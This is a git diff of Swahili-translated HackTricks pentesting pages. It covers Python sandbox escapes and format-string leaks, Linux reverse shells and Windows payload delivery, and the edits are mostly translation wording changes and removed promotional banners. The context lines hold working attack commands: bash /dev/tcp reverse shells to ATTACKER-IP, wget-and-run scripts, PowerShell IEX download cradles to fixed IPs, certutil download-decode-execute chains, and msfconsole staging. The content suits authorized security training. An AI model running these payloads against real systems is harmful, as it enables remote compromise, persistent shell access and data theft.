@ -460,9 +452,9 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Kupata maktaba hatari zilizopakiwa
|
||||
### Kutafuta maktaba hatari zilizopakiwa
|
||||
|
||||
Kwa mfano, kujua kwamba na maktaba **`sys`** inawezekana **kuagiza maktaba zisizo na mipaka**, unaweza kutafuta **moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao**:
|
||||
Kwa mfano, kujua kwamba kwa maktaba **`sys`** inawezekana **kuagiza maktaba zisizo na mipaka**, unaweza kutafuta **moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
|
|
@ -525,7 +517,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
Zaidi ya hayo, ikiwa unafikiri **maktaba nyingine** zinaweza **kuitisha kazi za kutekeleza amri**, tunaweza pia **kuchuja kwa majina ya kazi** ndani ya maktaba zinazowezekana:
|
||||
Zaidi ya hayo, ikiwa unafikiri **maktaba nyingine** zinaweza **kuita kazi kutekeleza amri**, tunaweza pia **kuchuja kwa majina ya kazi** ndani ya maktaba zinazowezekana:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
|
@ -689,8 +681,8 @@ You can check the output of this script on this page:
|
|||
Ikiwa unatumia **string** kwa python ambayo itafanywa **formatted**, unaweza kutumia `{}` kufikia **habari za ndani za python.** Unaweza kutumia mifano ya awali kufikia globals au builtins kwa mfano.
|
||||
|
||||
{% hint style="info" %}
|
||||
Hata hivyo, kuna **kikomo**, unaweza tu kutumia alama `.[]`, hivyo **hutaweza kutekeleza msimbo wowote**, bali kusoma habari.\
|
||||
_**Ikiwa unajua jinsi ya kutekeleza msimbo kupitia udhaifu huu, tafadhali wasiliana nami.**_
|
||||
Hata hivyo, kuna **kikomo**, unaweza tu kutumia alama `.[]`, hivyo huwezi **kufanya kazi yoyote isiyo ya kawaida**, bali kusoma habari.\
|
||||
_**Ikiwa unajua jinsi ya kutekeleza msimbo kupitia udhaifu huu, tafadhali niwasiliane.**_
|
||||
{% endhint %}
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
|
|
@ -713,7 +705,7 @@ get_name_for_avatar(st, people_obj = people)
|
|||
```
|
||||
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
||||
|
||||
Pia kumbuka kwamba unaweza kutumia `.__dict__` kuorodhesha vipengele vya kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Pia kumbuka kwamba unaweza kutumia `.__dict__` kuhesabu vipengele vya kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Baadhi ya sifa nyingine za kuvutia kutoka kwa format strings ni uwezekano wa **executing** the **functions** **`str`**, **`repr`** na **`ascii`** katika kitu kilichotajwa kwa kuongeza **`!s`**, **`!r`**, **`!a`** mtawalia:
|
||||
```python
|
||||
|
|
@ -734,14 +726,14 @@ return 'HAL 9000'
|
|||
**Mifano zaidi** kuhusu **format** **string** mifano inaweza kupatikana katika [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma taarifa nyeti kutoka kwa vitu vya ndani vya Python:
|
||||
Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma **habari nyeti kutoka kwa vitu vya ndani vya Python**:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Mifumo ya Ufunuo wa Taarifa Nyeti
|
||||
### Mifumo ya Ufunuo wa Habari Nyeti
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
|
@ -758,7 +750,7 @@ Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma taarifa nyeti kutoka kwa
|
|||
Ikiwa unataka **kujifunza** kuhusu **python bytecode** kwa undani soma hii **kuandika** nzuri kuhusu mada: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
Katika baadhi ya CTFs unaweza kupewa jina la **kazi maalum ambapo bendera** inapatikana na unahitaji kuona **mambo ya ndani** ya **kazi** ili kuichomoa.
|
||||
Katika baadhi ya CTFs unaweza kupewa jina la **kazi maalum ambapo bendera** inapatikana na unahitaji kuona **mambo ya ndani** ya **kazi** ili kuipata.
|
||||
|
||||
Hii ndiyo kazi ya kuchambua:
|
||||
```python
|
||||
|
|
@ -793,7 +785,7 @@ CustomClassObject.__class__.__init__.__globals__
|
|||
|
||||
### **Kufikia msimbo wa kazi**
|
||||
|
||||
**`__code__`** na `func_code`: Unaweza **kufikia** sifa hii ya kazi ili **kupata kitu cha msimbo** cha kazi hiyo.
|
||||
**`__code__`** na `func_code`: Unaweza **kufikia** sifa hii ya kazi ili **kupata kitu cha msimbo** cha kazi.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
|
@ -966,8 +958,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
Katika mifano ya awali mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza msimbo wowote wa python kwa kutumia `compile` function**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** zenye mizunguko na kila kitu katika **line moja** (na tunaweza kufanya vivyo hivyo kwa kutumia **`exec`**).\
|
||||
Hata hivyo, wakati mwingine inaweza kuwa na manufaa **kuunda** **kipande kilichokusanywa** katika mashine ya ndani na kukitekeleza katika **CTF machine** (kwa mfano kwa sababu hatuna `compiled` function katika CTF).
|
||||
Katika mifano ya awali mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza msimbo wowote wa python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** zenye mizunguko na kila kitu katika **mstari mmoja** (na tunaweza kufanya vivyo hivyo kwa kutumia **`exec`**).\
|
||||
Hata hivyo, wakati mwingine inaweza kuwa na manufaa **kuunda** **kitu kilichokusanywa** kwenye mashine ya ndani na kukitekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF).
|
||||
|
||||
Kwa mfano, hebu tukusanye na kutekeleza kwa mikono kazi inayosoma _./poc.py_:
|
||||
```python
|
||||
|
|
@ -996,7 +988,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Ikiwa huwezi kufikia `eval` au `exec` unaweza kuunda **kazi sahihi**, lakini kuitaja moja kwa moja kawaida kutashindwa na: _mwandamizi haupatikani katika hali iliyozuiliwa_. Hivyo unahitaji **kazi ambayo haipo katika mazingira yaliyopunguzika kuitaja kazi hii.**
|
||||
Ikiwa huwezi kufikia `eval` au `exec` unaweza kuunda **kazi sahihi**, lakini kuitwa moja kwa moja kawaida kutashindwa na: _mwandamizi haupatikani katika hali iliyozuiliwa_. Hivyo unahitaji **kazi ambayo si katika mazingira yaliyopunguzika ili kuitwa kazi hii.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
|
@ -1018,7 +1010,7 @@ Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.c
|
|||
|
||||
### Assert
|
||||
|
||||
Python inayotekelezwa kwa uboreshaji na param `-O` itafuta taarifa za asset na msimbo wowote wa masharti kulingana na thamani ya **debug**.\
|
||||
Python inayotekelezwa kwa uboreshaji na param `-O` itafuta taarifa za asset na msimbo wowote unaotegemea thamani ya **debug**.\
|
||||
Hivyo, ukaguzi kama
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
|
@ -1039,23 +1031,18 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,14 +15,6 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kundi la Usalama wa Jaribio**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**Ikiwa una maswali kuhusu yoyote ya hizi shells unaweza kuangalia na** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
|
|
@ -44,7 +36,7 @@ exec >&0
|
|||
```
|
||||
Usisahau kuangalia na shell nyingine: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, na bash.
|
||||
|
||||
### Shell salama ya alama
|
||||
### Symbol salama shell
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
|
|
@ -56,19 +48,19 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
#### Maelezo ya Shell
|
||||
|
||||
1. **`bash -i`**: Sehemu hii ya amri inaanzisha shell ya Bash ya kuingiliana (`-i`).
|
||||
2. **`>&`**: Sehemu hii ya amri ni alama ya kifupi ya **kuhamasisha pato la kawaida** (`stdout`) na **kosa la kawaida** (`stderr`) kwenda **mahali pamoja**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Hii ni faili maalum ambayo **inaakisi muunganisho wa TCP kwa anwani ya IP na bandari iliyoainishwa**.
|
||||
* Kwa **kuhamasisha pato na mwelekeo wa makosa kwenda kwenye faili hii**, amri hiyo kwa ufanisi inatuma pato la kikao cha shell ya kuingiliana kwenye mashine ya mshambuliaji.
|
||||
4. **`0>&1`**: Sehemu hii ya amri **inaelekeza pembejeo ya kawaida (`stdin`) kwenda kwenye mahali pamoja na pato la kawaida (`stdout`)**.
|
||||
2. **`>&`**: Sehemu hii ya amri ni alama ya kifupi ya **kupeleka pato la kawaida** (`stdout`) na **kosa la kawaida** (`stderr`) kwa **mahali pamoja**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Hii ni faili maalum ambayo **inaonyesha muunganisho wa TCP kwa anwani ya IP na bandari iliyoainishwa**.
|
||||
* Kwa **kupeleka pato na mstreams ya makosa kwa faili hii**, amri hiyo kwa ufanisi inatuma pato la kikao cha shell ya kuingiliana kwa mashine ya mshambuliaji.
|
||||
4. **`0>&1`**: Sehemu hii ya amri **inaelekeza ingizo la kawaida (`stdin`) kwa mahali sawa na pato la kawaida (`stdout`)**.
|
||||
|
||||
### Unda kwenye faili na utekeleze
|
||||
### Unda katika faili na utekeleze
|
||||
```bash
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||
```
|
||||
## Forward Shell
|
||||
|
||||
Wakati wa kushughulikia **Remote Code Execution (RCE)** udhaifu ndani ya programu ya wavuti inayotumia Linux, kupata reverse shell kunaweza kuzuia na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti ngumu. Katika mazingira kama haya, njia mbadala ni kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo ulioathirika kwa ufanisi zaidi.
|
||||
Wakati unashughulikia **Remote Code Execution (RCE)** udhaifu ndani ya programu ya wavuti inayotumia Linux, kupata reverse shell kunaweza kuzuia na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti ngumu. Katika mazingira kama haya, njia mbadala ni kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo ulioathirika kwa ufanisi zaidi.
|
||||
|
||||
Zana inayopendekezwa kwa ajili ya hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inarahisisha mwingiliano na mazingira ya lengo.
|
||||
|
||||
|
|
@ -340,23 +332,17 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**Jaribu Kikundi cha Usalama**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
Ukurasa [lolbas-project.github.io](https://lolbas-project.github.io/) ni wa Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni wa linux.\
|
||||
Kwa wazi, **hakuna faili za SUID au ruhusa za sudo katika Windows**, lakini ni muhimu kujua **jinsi** baadhi ya **binaries** zinaweza (kutumika) kutekeleza aina fulani ya vitendo visivyotarajiwa kama **kutekeleza msimbo wa kawaida.**
|
||||
Kwa wazi, **hakuna faili za SUID au ruhusa za sudo katika Windows**, lakini ni muhimu kujua **jinsi** baadhi ya **binaries** zinaweza kutumika (kuhujumu) kufanya aina fulani ya vitendo visivyotarajiwa kama **kutekeleza msimbo wa kawaida.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
|
@ -47,7 +39,7 @@ ncat -l <PORT eg.443> --ssl
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat unaoweza kubebeka na salama**. Inafanya kazi kwenye mifumo ya Unix kama na Win32. Ikiwa na vipengele kama vile usimbuaji mzito, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na kuunganishwa tena mara kwa mara, sbd inatoa suluhisho la kubadilika kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka kwa usambazaji wa Kali Linux linaweza kutumika kama mbadala wa kuaminika wa Netcat.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat unaoweza kubebeka na salama**. Inafanya kazi kwenye mifumo ya Unix kama na Win32. Pamoja na vipengele kama vile usimbaji wa nguvu, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na kuunganishwa tena mara kwa mara, sbd inatoa suluhisho la kubadilika kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka kwa usambazaji wa Kali Linux linaweza kutumika kama mbadala wa kuaminika wa Netcat.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
|
@ -102,7 +94,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
|||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Mchakato unaofanya wito wa mtandao: **powershell.exe**\
|
||||
Payload imeandikwa kwenye diski: **HAPANA** (_angalau mahali popote ambapo ningeweza kupata kwa kutumia procmon !_ )
|
||||
Payload imeandikwa kwenye diski: **HAPANA** (_angalau mahali popote ningeweza kupata kwa kutumia procmon !_ )
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
|
|
@ -282,7 +274,7 @@ Pakua B64dll, ikode na uitekeleze.
|
|||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
Pakua B64exe, ikode na uiendeshe.
|
||||
Pakua B64exe, ibadilishe na uifanye kazi.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
|
|
@ -462,7 +454,7 @@ Anza msfconsole na rasilimali iliyoundwa:
|
|||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
Anza seva ya wavuti inayotoa faili _powershell\_attack.txt_ na uendeleze katika mwathiriwa:
|
||||
Anza seva ya wavuti inayotoa faili _powershell\_attack.txt_ na uendeshe kwenye mwathirika:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
|
@ -470,7 +462,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
## Zaidi
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console yenye baadhi ya moduli za PS za kushambulia zilizopakiwa (cyphered)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console yenye baadhi ya moduli za PS za kushambulia zilizopakiwa (zilizofichwa)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console yenye baadhi ya moduli za PS za kushambulia na ugunduzi wa proxy (IEX)
|
||||
|
||||
|
|
@ -483,12 +475,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console yenye baadhi ya mod
|
|||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Jaribu Kikundi cha Usalama wa Juu**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -499,8 +486,8 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,80 +1,67 @@
|
|||
# Kupanga Tishio
|
||||
# Threat Modeling
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Threat Modeling
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malwares za wizi**.
|
||||
